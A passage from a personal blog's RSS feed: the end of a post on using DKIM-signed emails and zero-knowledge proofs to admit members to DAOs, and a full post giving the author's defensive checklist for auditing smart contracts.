    X[DNS] --&amp;gt;|DKIM key| B
    A[Sender] --&amp;gt;|Email demonstrating asset ownership| B[Recipient]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you publish this email, this can trustlessly verify that you own a specific asset. Anybody can take your email, verify its authenticity against the brokerage DKIM key. And if they agree that the brokerage sends emails only with factual information, then they can verify the documents without needing to ask the brokerage directly. (They can also see your email address, but we can fix that.)&lt;/p&gt;

&lt;p&gt;If you redact the email (or, lol, just post a screenshot) then the public can no longer validate it against the original DKIM cryptographic signature, anybody could have produced that screenshot. But zero-knowledge proof systems exist where you can &lt;em&gt;describe&lt;/em&gt; the important parts of the email and it will give a non-repudiatable evidence rather than publishing the full email. For example, you could prove:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The DKIM key&lt;/li&gt;
  &lt;li&gt;The email sender&lt;/li&gt;
  &lt;li&gt;A blinded one-way token of your recipient email address or account number&lt;/li&gt;
  &lt;li&gt;Specific text in the email, such as “Account: balance…” for a specific template&lt;/li&gt;
  &lt;li&gt;Zero-knowledge proof demonstrating the full email matches and authenticates as claimed&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;dao-for-billionaires&quot;&gt;DAO for billionaires&lt;/h3&gt;

&lt;p&gt;This means you can create a fully-decentralized self-attested club for billionaires. A decentralized program (DAO) will come preloaded with specific acceptable banks/email templates.&lt;/p&gt;

&lt;p&gt;Anybody would just need to produce a valid email attestation showing an account balance and their account number/email address was not previously used. And the DAO admits you as a member.&lt;/p&gt;

&lt;h2 id=&quot;dao-for-citizens-or-voters&quot;&gt;DAO for citizens or voters&lt;/h2&gt;

&lt;p&gt;I live in Montgomery County, Pennsylvania. If you register as a voter with online mailer service, you will receive an email after your ballot is received.&lt;/p&gt;

&lt;p&gt;Using the same approach, it is possible to create a DAO, where anybody (at least MontCo voters) can join after providing anonymous proof that they voted on national election day.&lt;/p&gt;

&lt;p&gt;This same approach can be used for other government identity and action receipts which you receive over email.&lt;/p&gt;

&lt;p&gt;The entire system is trustless, and can be done anonymously on blockchain with a DAO.&lt;/p&gt;

&lt;p&gt;The end result is a blockchain smart contract that trustlessly gives tokens only to US citizens.&lt;/p&gt;

&lt;p&gt;You could of course do other countries.&lt;/p&gt;

&lt;h2 id=&quot;prove-off-chain-activity&quot;&gt;Prove off-chain activity&lt;/h2&gt;

&lt;p&gt;This same email trick allows you to demonstrate ownership of X accounts, ownership of various other online identities, and actions of various kinds across various real words activities.&lt;/p&gt;

&lt;p&gt;I haven’t built any of these systems. Because the world isn’t ready for this future yet.&lt;/p&gt;
</description>
        <pubDate>Tue, 02 Jun 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/legal-resident-dao</link>
        <guid isPermaLink="true">https://blog.phor.net/legal-resident-dao</guid>
        
        <category>blockchain,</category>
        
        <category>government</category>
        
        
      </item>
    
      <item>
        <title>How I audit smart contracts in 2026</title>
        <description>&lt;p&gt;&lt;em&gt;How I audit smart contracts: my complete checklist plus a real case study&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I audit smart contracts so you can ship code you trust. This is a repeatable process that catches bugs that matter.&lt;/p&gt;

&lt;p&gt;I have used this workflow on real projects since 2019. It produces publishable, billable results. Sharing it here.&lt;/p&gt;

&lt;p&gt;This applies to audits, and specifically as part of incident response. That means while you are working, life changing amount of money may be getting stolen and that process continues while you work.&lt;/p&gt;

&lt;h2 id=&quot;the-workflow-i-actually-use&quot;&gt;The workflow I actually use&lt;/h2&gt;

&lt;p&gt;I follow these steps every time. They keep the audit honest, public, and useful.&lt;/p&gt;

&lt;p&gt;STEP ZERO IS GET A LOT OF WATER. This could be a very long night. And put food into your favorite food delivery shopping cart. This is a battle and if you run out of water or calories your work could become ineffective.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Engage. Collect:
    &lt;ol&gt;
      &lt;li&gt;The exact code to audit&lt;/li&gt;
      &lt;li&gt;The relevant documentation customers will see&lt;/li&gt;
      &lt;li&gt;Test cases&lt;/li&gt;
      &lt;li&gt;Other institutional knowledge that is requied to use or test the product&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Announce audit to public, if in-scope.&lt;/li&gt;
  &lt;li&gt;Perform audit, see findings list list below.&lt;/li&gt;
  &lt;li&gt;Collate into a report, issues, test cases, or other deliverables as required by client.&lt;/li&gt;
  &lt;li&gt;Publish, if in-scope.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s it. Stay focused.&lt;/p&gt;

&lt;h2 id=&quot;the-checklist&quot;&gt;The checklist&lt;/h2&gt;

&lt;h3 id=&quot;verify-collection-and-resources&quot;&gt;Verify collection and resources&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;
    &lt;p&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Use internet search to confirm all well-known source code/documentation/test cases related to the client and this engagement are actually included in the client-provided scope.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;
    &lt;p&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Use internet search to identify any claimed leakers/evidence of insider threats at the client that may be relevant to the audit scope.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;
    &lt;p&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Get and verify personal contact information for all stakeholders and subject matter experts. Confirm that they are available 24/7 and how to bypass silent settings on their phones. (Audit is sometimes a truly ASAP operation, meaning all participants are expected to forgoe sleep.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;
    &lt;p&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Document your inputs. E.g.&lt;/p&gt;

    &lt;blockquote&gt;
      &lt;p&gt;Code was provided privately with SHA-256 hash &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;afcdaf5ddb03b8a227b66a2a0aef41891754ab81450acec7ced296a437db522a&lt;/code&gt;.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;suit-up&quot;&gt;Suit up&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Install a virtual machine or unpriviledged remote host to perform your work.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;reputation-review&quot;&gt;Reputation review&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Confirm who wrote the code and how they were paid (check, crypto, etc.).&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Verify the project website has proper WHOIS and contact details.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Review the mission statement of the client organization.
These may be used in a finding if, for example, the organization claims a certain mission and level of control over the product, but the implementation is inconsistent with that.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;supply-chain-audit&quot;&gt;Supply chain audit&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Ensure the deployed product (if any) matches the provided source code.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Identify all dependencies of the code and project.
    &lt;ul class=&quot;task-list&quot;&gt;
      &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;If code is copy/pasted into the project (e.g. OpenZeppelin Contracts) then identify the specific commit this was pasted from.&lt;/li&gt;
      &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;This includes tooling versions.&lt;/li&gt;
      &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Old versions by themselves may be an audit finding.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Identify all known issues and caveats of these supply chain versions.
For example, Solidity versions before 0.8 did not have integer overflow protection. Before 0.5 had all kinds of craziness.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;identify-any-upgrades&quot;&gt;Identify any upgrades&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Mutations in smart contract behavior by proxies (“upgrades”) and other mechanisms require the above work to be repeated for each version of the deployed contracts. This also requires a full accounting of how the upgrades happened.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;identify-party-risk&quot;&gt;Identify party risk&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Find all accounts shown with special permissions against the smart contracts.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Identify the beneficial owners of these accounts (if they are DAOs, smart contracts, “multisigs”, etc.).&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Identify account code (EIP-7702) for external accounts.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Review if the independence of these accounts violates any marketing claims in the documentation or mission statement of the project.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;intended-code-usage&quot;&gt;Intended code usage&lt;/h3&gt;

&lt;p&gt;Try use cases using a fork of the target blockchain or your own testing instrumentation.&lt;/p&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Consider every documentation which explains how you are supposed to use this product. Write these down.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Consider every NatSpec comment.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Read the code paths and see if at any point there is a violation of any documented (or implied) specifications. These are findings.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Consider anywhere you think you would have implemented this “better” or “differently”. Make a note of that. Compare if their implementation has different edge cases than yours, write these down.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;unexpected-code-usage&quot;&gt;Unexpected code usage&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;For each code path you considered above, mark any external calls in red. Cross reference that call versus all possible execution contexts. (M×N)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Read every contract entry point. And consider them versus normal operating storage state situations.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Consider anywhere you think you would have implemented this “better” or “differently”. Make a note of that. Compare if their implementation has different edge cases than yours, write these down.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;undocumented-code&quot;&gt;Undocumented code&lt;/h3&gt;

&lt;p&gt;This is only necessary for interactions including contracts where you do not see the source code. You will need to study the assemply. For example OpenSea Shared Storefront contract.&lt;/p&gt;

&lt;p&gt;For a case study on that reverse engineering and zero-days found &lt;a href=&quot;https://blog.phor.net/opensea-shared-storefront-backdoor#how-do-decompile-and-study-smart-contracts&quot;&gt;see here&lt;/a&gt;.&lt;/p&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Disassemble the code.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Separate each code unit.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Mark in color every potential write operation &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSTORE&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALL*&lt;/code&gt; .&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Work backwards to color every code unit that could possibly jump to a colored code unit. Repeat to exhaustion.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Delete everything else.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Look for telltale signs of Solidity versions.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Pay attention to storage locations. And figure it out.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;automated-testing&quot;&gt;Automated testing&lt;/h3&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Run existing testing.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Add your edge cases as noted above.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Do fuzzing by hand. Test out-of-range inputs.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Use solhint, slither. Any warning is a finding.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Look for duplication, unused variables, wasteful storage layout.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;change-mindsets-last-pass&quot;&gt;Change mindsets, last pass&lt;/h2&gt;

&lt;p&gt;Whatever mindset, level of sleep or chemicals were in your system… do the opposite of that. Those can all lock you into one way of thinking. To think like an adversary you need many ways of thinking.&lt;/p&gt;

&lt;p&gt;You may do this by napping, jumping jacks, chemicals.&lt;/p&gt;

&lt;h2 id=&quot;sensitivity-and-the-final-report&quot;&gt;Sensitivity and the final report&lt;/h2&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Small findings can combine into big findings. (Old Solidity version + this control structure is not how I would implement it = a broken for loop and complete contract take over.)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Structure your findings for your written report.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Use basic copyediting techniques.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Mark critical issues with 💣 and material issues with ⚠️.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Include recommendations that are immediately actionable.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Add a “best practices” section that cites the sources I actually respect.&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Ship the report.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now you’re done. Tell your client exactly how to get a hold of you. Tell your partner what is wake-me-up-worthy. Go sleep for 12 hours.&lt;/p&gt;

&lt;p&gt;For follow up rounds, you may document which findings the client found as acceptable risks.&lt;/p&gt;

&lt;h2 id=&quot;ready-to-get-your-contract-audited&quot;&gt;Ready to get your contract audited?&lt;/h2&gt;

&lt;p&gt;If you want this exact process applied to your project, here is what happens next:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;You send me the code and the specification.&lt;/li&gt;
  &lt;li&gt;I run the checklist above.&lt;/li&gt;
  &lt;li&gt;You receive a report in the same format as the Kred example.&lt;/li&gt;
  &lt;li&gt;We iterate in public or private, whichever you prefer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Book a call or just reply to this post with your repo. I answer every serious inquiry.&lt;/p&gt;

&lt;p&gt;See &lt;a href=&quot;https://phor.net/portfolio#smart-contract-audits-zero-day-research-security&quot;&gt;my past audits and zero-day research&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Wed, 20 May 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/how-audit-smart-contracts</link>
        <guid isPermaLink="true">https://blog.phor.net/how-audit-smart-contracts</guid>
        
        <category>blockchain</category>
        
        
      </item>
    
  </channel>
</rss>